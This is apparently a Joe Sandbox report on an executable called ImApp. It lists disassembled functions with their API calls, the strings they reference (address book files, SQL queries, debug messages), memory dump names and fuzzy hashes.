Opcode ID: 4e6f22c5fd299f130a1ecac8fb2a682c369003cf9cd644c761082fd436254b98
Instruction ID: 3214ab7e8b2ce1bb68974af034a5320af85dcd19176f8772d88018e2656b4518
Opcode Fuzzy Hash: 4e6f22c5fd299f130a1ecac8fb2a682c369003cf9cd644c761082fd436254b98
Instruction Fuzzy Hash: 856147742483428FD749DF25C894B5EB7E4BF88708F14895CE59A8B290DB39E909CF92

Function 10001A80 Relevance: 15.1, APIs: 10, Instructions: 127COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,1000D490,00000010,1000A38B,?), ref: 10001ABA
TlsGetValue.KERNEL32(?), ref: 10001AE8
sqlite3_close.SQLITE3(?), ref: 10001B0C
#762.MFC80U(0000002C,00000001), ref: 10001B23
#548.MFC80U(-0000000C,00000001,00000001), ref: 10001B5C
#6201.MFC80U(-0000000C,00000001), ref: 10001B7A
#764.MFC80U(00000000,00000000), ref: 10001B86
TlsSetValue.KERNEL32(?,00000000), ref: 10001B98
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000D490), ref: 10001BAD
LeaveCriticalSection.KERNEL32(10010798), ref: 10001C14

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalSectionValue$#548#6201#762#764EnterLeave_invalid_parameter_noinfosqlite3_close
String ID:
API String ID: 112130268-0
Opcode ID: 65568fdd56520d6803f33a2a711ac89e4ee36bb1c29e5cdde548ae331e0b5da7
Instruction ID: 6dde31d5be3aa1016d21a825482f361d05c010b63b49b6ebae913cf2d2c556c7
Opcode Fuzzy Hash: 65568fdd56520d6803f33a2a711ac89e4ee36bb1c29e5cdde548ae331e0b5da7
Instruction Fuzzy Hash: B941A274A083849FF341DF24C884B9B7BE4EF452E4F404558F9868B296EB74E944CB92

Function 00404C50 Relevance: 15.1, APIs: 10, Instructions: 121windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404C75
#314.MFC80U(00000000,FC8A6036), ref: 00404C7F
#390.IMUTILSU ref: 00404CCE
SendMessageW.USER32(?,00008085,?,00000000), ref: 00404CE8
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0041E098,000000FF), ref: 00404DE7

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessageSend
String ID:
API String ID: 903201250-0
Opcode ID: 368436f66196cd58342a2b728f12db8881cff0591170322bcde319e0f2b5240e
Instruction ID: 6df3c5b2e14279a1db363aa7435a72e2eaa4b630c2ad2982b319acf563b1c7e7
Opcode Fuzzy Hash: 368436f66196cd58342a2b728f12db8881cff0591170322bcde319e0f2b5240e
Instruction Fuzzy Hash: 2D4148B1614701DFD720EB25C944B9BB7E5FF84304F044A6EE29AA72C0D738A845CB6A

Function 032733A0 Relevance: 15.1, APIs: 10, Instructions: 120fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 032733D3
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 032733FD
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 03273411
GetFileSize.KERNEL32(00000000,?), ref: 03273427
CloseHandle.KERNEL32(?), ref: 03273442
CloseHandle.KERNEL32(00000000), ref: 03273449
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000016), ref: 032734B7
UnmapViewOfFile.KERNEL32(00000000), ref: 032734C2
CloseHandle.KERNEL32(?), ref: 032734D3
CloseHandle.KERNEL32(00000000), ref: 032734D6

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: File$CloseHandle$CreateView$MappingSizeUnmapWindow
String ID:
API String ID: 2047200705-0
Opcode ID: 067497a52e342007664594787559df73ee0858ddff70635d12c0b59f36fb6112
Instruction ID: 6b1bbb77aa2396a412ab6770b7fc9bbbc0c2cdd34f74c1a5697e139ca1144e53
Opcode Fuzzy Hash: 067497a52e342007664594787559df73ee0858ddff70635d12c0b59f36fb6112
Instruction Fuzzy Hash: 7A417E75218341AFD224EF65AC49F1BF7E9FBC9B10F04851DFA5497280C7B4E8018BA2

Function 10003170 Relevance: 15.1, APIs: 10, Instructions: 94synchronizationthreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(CCCCCCCC,DC7F1836,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031A8
#762.MFC80U(00000058,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031B6
TlsSetValue.KERNEL32(CCCCCCCC,00000000,?,?,?,?,?,?,?,?,?,?,?,1000AB4B,000000FF), ref: 100031E7
EnterCriticalSection.KERNEL32(-0000003C,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031FD
#731.IMUTILSU(?,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 1000320B
LeaveCriticalSection.KERNEL32(-0000003C), ref: 1000321D
GetCurrentThreadId.KERNEL32 ref: 1000322B
WaitForSingleObject.KERNEL32(?,000000FF), ref: 1000323D
#2042.IMUTILSU(?,000000FF,000004FF), ref: 10003252

Part of subcall function 10001320: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,0000002D,DC7F1836,?,00000000,00000000,1000B388,000000FF,100031D4,00000000), ref: 10001393
Part of subcall function 10001320: InitializeCriticalSection.KERNEL32(0000003D,?,?,?,?,?,?,?,?,?,?,?,1000AB4B,000000FF), ref: 100013A0

EnterCriticalSection.KERNEL32 ref: 10003260

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalSection$EnterValue$#2042#731#762CreateCurrentEventInitializeLeaveObjectSingleThreadWait
String ID:
API String ID: 2963142883-0
Opcode ID: 194b94efbaf7605d3413c7a6dd1cbc8a7076ffb6cc7679b2e925d62d432027af
Instruction ID: 5578f5b5a2470fc2359462ba19514a0c314461ee5670869e359f2ca62797b2de
Opcode Fuzzy Hash: 194b94efbaf7605d3413c7a6dd1cbc8a7076ffb6cc7679b2e925d62d432027af
Instruction Fuzzy Hash: 003156B1608312DFE301DF68C845B5BB7E8EF48790F118A18F9559739ADB35E908CBA1

Function 00414B60 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036,?,?,?,?,00420362,000000FF), ref: 00414B89
#1322.IMUTILSU(00003AB2,?,?,?,?,?,00420362,000000FF), ref: 00414BC4
#810.IMUTILSU(0000001C,00000000), ref: 00414BD0
#1323.IMUTILSU(0000001C,00000000), ref: 00414BD7
#2261.MFC80U(00426494,00000000,0000001C,00000000), ref: 00414BEA
#3990.MFC80U(?,00000000), ref: 00414BFF
#774.MFC80U(00000000,?,?,?,?,?,?,?,00420362,000000FF), ref: 00414C0F
#578.MFC80U(?,?,?,?,?,?,?,00420362,000000FF), ref: 00414C1E
#3391.MFC80U(0000001C,00000000), ref: 00414C2A
#578.MFC80U(?,?,?,?,?,?,?,00420362,000000FF), ref: 00414C44

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #578$#1322#1323#2261#310#3391#3990#774#810
String ID:
API String ID: 717111737-0
Opcode ID: 8de60cbd64b51377981155370f69c3a5b7191c8ae28815f97028b93f20b97fb3
Instruction ID: 6e05bbb88716f8c55e6fa21ffcbba5431afad35bf9c034c5c68b5ea0fa5a248a
Opcode Fuzzy Hash: 8de60cbd64b51377981155370f69c3a5b7191c8ae28815f97028b93f20b97fb3
Instruction Fuzzy Hash: 9321B9721083119FC315DF14CD48B9BB7E4FF94320F504A2EF496932E1DB78AA49CA9A

Function 00414820 Relevance: 15.1, APIs: 10, Instructions: 70windowCOMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036,?,?,?,?,?,004202F9,000000FF), ref: 0041484A
#994.IMLOOKU(?,?,00000000,00000000,?,?,?,?,?,004202F9,000000FF), ref: 00414866
#1386.IMLOOKU(?,?,00000000,00000000,?,?,?,?,?,004202F9,000000FF), ref: 0041486D
#3391.MFC80U(00000001,00000010,00000010,00000010,?,?,00000000,00000000,?,?,?,?,?,004202F9,000000FF), ref: 0041487E
LoadImageW.USER32(00000000,00000000), ref: 00414887
#2269.IMUTILSU(00000000,00000010,00000010,00000000,00000000,00FF00FF,?,?,?,?,?,004202F9,000000FF), ref: 004148A1
#1044.IMLOOKU(?,00000000,00000001), ref: 004148BD
DeleteObject.GDI32(00000000), ref: 004148C3
DestroyIcon.USER32(00000000), ref: 004148CA
#578.MFC80U(?,?,?,?,?,004202F9,000000FF), ref: 004148DC

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1044#1386#2269#310#3391#578#994DeleteDestroyIconImageLoadObject
String ID:
API String ID: 4161297048-0
Opcode ID: f7d7ef11d9a347d87e0d9c7495a95b2cec7c1038c5a4e64250623bb1eca4c116
Instruction ID: 5e1720083b906101c69687f6b1b01e8380547852c350b1b95abcf2f65773a9f0
Opcode Fuzzy Hash: f7d7ef11d9a347d87e0d9c7495a95b2cec7c1038c5a4e64250623bb1eca4c116
Instruction Fuzzy Hash: 9121A475344300BBD320EB50DD49FAB77A4EB88B10F400A2DF651A62D1DBB9A8458BA9

Function 020DFA00 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

#578.MFC80U ref: 020DFA7D
_waccess.MSVCR80 ref: 020DFA8A
#578.MFC80U ref: 020DFAF6
_waccess.MSVCR80 ref: 020DFB03
#578.MFC80U ref: 020DFB23
#578.MFC80U ref: 020DFB4E

Strings

AddressBook.imb, xrefs: 020DFA67
AddressBook.imb.bak, xrefs: 020DFAE0

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$_waccess
String ID: AddressBook.imb$AddressBook.imb.bak
API String ID: 977332841-3872950155
Opcode ID: 1871ba4b093751f2ee459c223ebe106f73396d97ab1fc0b6d33cffd3b4d19f9d
Instruction ID: 26f1f3a1e557d680b5f27d2a72e6cc3c13a40553ebeb0faa78c2b81c742e836d
Opcode Fuzzy Hash: 1871ba4b093751f2ee459c223ebe106f73396d97ab1fc0b6d33cffd3b4d19f9d
Instruction Fuzzy Hash: 9B413A716443018FC700DF24D898B9FB7E9BFC8314F04492DE58A93690EB34A509DB93

Function 10001E30 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 10003170: TlsGetValue.KERNEL32(CCCCCCCC,DC7F1836,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031A8
Part of subcall function 10003170: #762.MFC80U(00000058,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031B6
Part of subcall function 10003170: TlsSetValue.KERNEL32(CCCCCCCC,00000000,?,?,?,?,?,?,?,?,?,?,?,1000AB4B,000000FF), ref: 100031E7
Part of subcall function 10003170: EnterCriticalSection.KERNEL32(-0000003C,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031FD
Part of subcall function 10003170: #731.IMUTILSU(?,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 1000320B
Part of subcall function 10003170: LeaveCriticalSection.KERNEL32(-0000003C), ref: 1000321D
Part of subcall function 10003170: GetCurrentThreadId.KERNEL32 ref: 1000322B
Part of subcall function 10003170: WaitForSingleObject.KERNEL32(?,000000FF), ref: 1000323D
Part of subcall function 10003170: EnterCriticalSection.KERNEL32 ref: 10003260

#6732.MFC80U(COMMIT TRANSACTION), ref: 10001EA2
#6732.MFC80U(ROLLBACK TRANSACTION), ref: 10001EBB
sqlite3_exec.SQLITE3(00000000,?,00000000,00000000,00000000), ref: 10001EDF
#578.MFC80U ref: 10001F01
#578.MFC80U ref: 10001F1F
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000000FF,10001E1A,00000001), ref: 10001F75

Strings

ROLLBACK TRANSACTION, xrefs: 10001EB2
COMMIT TRANSACTION, xrefs: 10001E99

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalSection$#578#6732EnterLeaveValue$#731#762CurrentObjectSingleThreadWaitsqlite3_exec
String ID: COMMIT TRANSACTION$ROLLBACK TRANSACTION
API String ID: 2600625829-1927579970
Opcode ID: f8ca73fc7f4356df410ddebfabfa055f9012026753616684d889427ed3795bf8
Instruction ID: 0b7aa8700550ef13c40fa74ce7765d47f103037db0bc0e4d4a24a8584c9f4d4b
Opcode Fuzzy Hash: f8ca73fc7f4356df410ddebfabfa055f9012026753616684d889427ed3795bf8
Instruction Fuzzy Hash: AD41CEB16083059FE300DF28C885B9AB7E4FF887A4F140A2DF995872D5D734E944CB92

Function 00408B30 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

#1194.MFC80U(FC8A6036,FC8A6036), ref: 00408B74
#680.IMUTILSU(00425104,004250D4,?,?), ref: 00408BA9
VariantClear.OLEAUT32(?), ref: 00408BC0
#344.IMUTILSU(004247D4,CImTray::InitWebNotificationMgr(),Could not advise to IImTrayEvents interface.,00000000), ref: 00408BFF
#1460.IMUTILSU(004247D4,CImTray::InitWebNotificationMgr(),Could not advise to IImTrayEvents interface.,00000000), ref: 00408C06

Strings

Could not advise to IImTrayEvents interface., xrefs: 00408BF0
Failed to create IWebNotificationMgr interface., xrefs: 00408BCB
CImTray::InitWebNotificationMgr(), xrefs: 00408BF5

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1194#1460#344#680ClearVariant
String ID: CImTray::InitWebNotificationMgr()$Could not advise to IImTrayEvents interface.$Failed to create IWebNotificationMgr interface.
API String ID: 2156854156-478849188
Opcode ID: a4065e77f7039dcee36cc109b93818313f819ed3389fa24e9a1b34cc735cbe5d
Instruction ID: ed5767e8c380f1ed046bcbd5e3cb0d037ad3918650b835adfef8323ce59dcc1c
Opcode Fuzzy Hash: a4065e77f7039dcee36cc109b93818313f819ed3389fa24e9a1b34cc735cbe5d
Instruction Fuzzy Hash: D0319271309300AFD314DF6AD941F67B7E8EF89710F504A2EF59497280DB78A801CBAA

Function 00404B40 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404B66
#314.MFC80U(00000000,FC8A6036), ref: 00404B70
#1998.IMUTILSU(Performance,?,?,?,?,?,?,?,?,?,?,?,?,?,0041E068,000000FF), ref: 00404B82
#2114.IMUTILSU(Performance,?,?,?,?,?,?,?,?,?,?,?,?,?,0041E068,000000FF), ref: 00404B89
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,0041E068,000000FF), ref: 00404BCF
SendMessageW.USER32(?,00008088,?,00000000), ref: 00404BE6
#6751.MFC80U(00000000,?), ref: 00404C25

Strings

Performance, xrefs: 00404B7D

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#1998#2114#314#390#6751MessageSend
String ID: Performance
API String ID: 3940494174-72030550
Opcode ID: a0e16b1de0ede29d7a98f3c5707cbaeb8c0d19c34387828bbcf351a023c96ed6
Instruction ID: 0845e66ec3135c9947806eea192e07f9c992a057ef12c03898789413aef6f8ec
Opcode Fuzzy Hash: a0e16b1de0ede29d7a98f3c5707cbaeb8c0d19c34387828bbcf351a023c96ed6
Instruction Fuzzy Hash: 7A314FB12043009FE324DF55C985F6BB7E8FB84714F104A2EF195972D0C778A945CB66

Function 00405720 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00405744
#314.MFC80U(00000000,FC8A6036), ref: 0040574E
#390.IMUTILSU ref: 0040579F
PostMessageW.USER32(?,00008088,00000000,00000000), ref: 004057B1
OutputDebugStringW.KERNEL32(******************** mNotifierManager->NoNewMessages failed), ref: 004057BE
#6751.MFC80U(00000000,?), ref: 004057E9

Strings

******************** mNotifierManager->NoNewMessages failed, xrefs: 004057B9
******************** mNewMessagesCount = 0, xrefs: 0040577B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751DebugMessageOutputPostString
String ID: ******************** mNewMessagesCount = 0$******************** mNotifierManager->NoNewMessages failed
API String ID: 2050457735-4223393537
Opcode ID: a74acb742b00b8296bf259135b7c91d7c5fdab538087d680568e65f3c27d2cd7
Instruction ID: b3a0bd5ffcc938fc4ba8b513570da2845f11d8b2e0a4395847e1e1bd89f73567
Opcode Fuzzy Hash: a74acb742b00b8296bf259135b7c91d7c5fdab538087d680568e65f3c27d2cd7
Instruction Fuzzy Hash: 4F218974204B00DFE314EF25C844B57B3E4FB84714F144A2EE5959B2D0DB78E841CB5A

Function 020CA220 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,?,00000000,?,?,020EBB5A,000000FF,020C983C,?,?), ref: 020CA259
#776.MFC80U(020F50E4,?,?,020EBB5A,000000FF,020C983C,?,?), ref: 020CA277
#776.MFC80U(GroupID,?,?,020EBB5A,000000FF,020C983C,?,?), ref: 020CA28B

Strings

GroupID, xrefs: 020CA284, 020CA2CF
Name, xrefs: 020CA298

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #776$#310
String ID: GroupID$Name
API String ID: 771058179-27706597
Opcode ID: ad22d463ea7c90d6fcb54405cc5e7312551d706841ec931cf498e1d1ebfca458
Instruction ID: 6da53ca53344e3ad0153fe6115ab9c2542a51b629685f5a42b5453c45d60b621
Opcode Fuzzy Hash: ad22d463ea7c90d6fcb54405cc5e7312551d706841ec931cf498e1d1ebfca458
Instruction Fuzzy Hash: 62212FB1B84310CBD3918F08D88477EF7A9FB84621F24090EF91A82A40D76A5800AB92

Function 020C8BA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 63COMMON

Download Yara Rule

APIs

#6735.MFC80U(020F1B94,265105E4,?,?,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8BDE
#899.MFC80U(020F50C8,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C0B
#899.MFC80U(ContactID,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C1A
#899.MFC80U(, ' ' AS ,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C4E
#899.MFC80U(GroupID,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C5D

Strings

GroupID, xrefs: 020C8C5A
ContactID, xrefs: 020C8C17
, ' ' AS , xrefs: 020C8C47

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #899$#6735
String ID: , ' ' AS $ContactID$GroupID
API String ID: 965803319-2823857960
Opcode ID: a355343d0b73fb1a33a0d3a6959594ee93f6690a5a225ba428fd1a57442ef3d4
Instruction ID: 7ffc30e1fc56b2a2c9a3d9c0537e2c58e5f11781a971efdf4953314aaa875c34
Opcode Fuzzy Hash: a355343d0b73fb1a33a0d3a6959594ee93f6690a5a225ba428fd1a57442ef3d4
Instruction Fuzzy Hash: F82108B2684300CFE791CF58C8C8BABF7E5FF84314F14481DE95A93680D7B868059B99

Function 020E4B50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4), ref: 020E4B7A
#10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E4B9B
#12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E4BB2
#19.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E4BC9
#33.IMDBU(Picture,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E4BE5
#16.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E4C0C

Strings

SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc, xrefs: 020E4B94, 020E4BAB
Picture, xrefs: 020E4BDC

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: Picture$SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc
API String ID: 0-3559882982
Opcode ID: 45eb116cfaf9c17ee248528675a5688126c3398c2c8a75d39c0ba84ae47ac5ee
Instruction ID: 5d52410d4e94d25e2d1fa00bbc6d91b7a1bb7873e1ea8ff839b585c0940550d6
Opcode Fuzzy Hash: 45eb116cfaf9c17ee248528675a5688126c3398c2c8a75d39c0ba84ae47ac5ee
Instruction Fuzzy Hash: 25115EB53483409FE704DB28CC81B9BB7E5AFD8754F004A1CFD9687790E7B4A8859B82

Function 020E6060 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

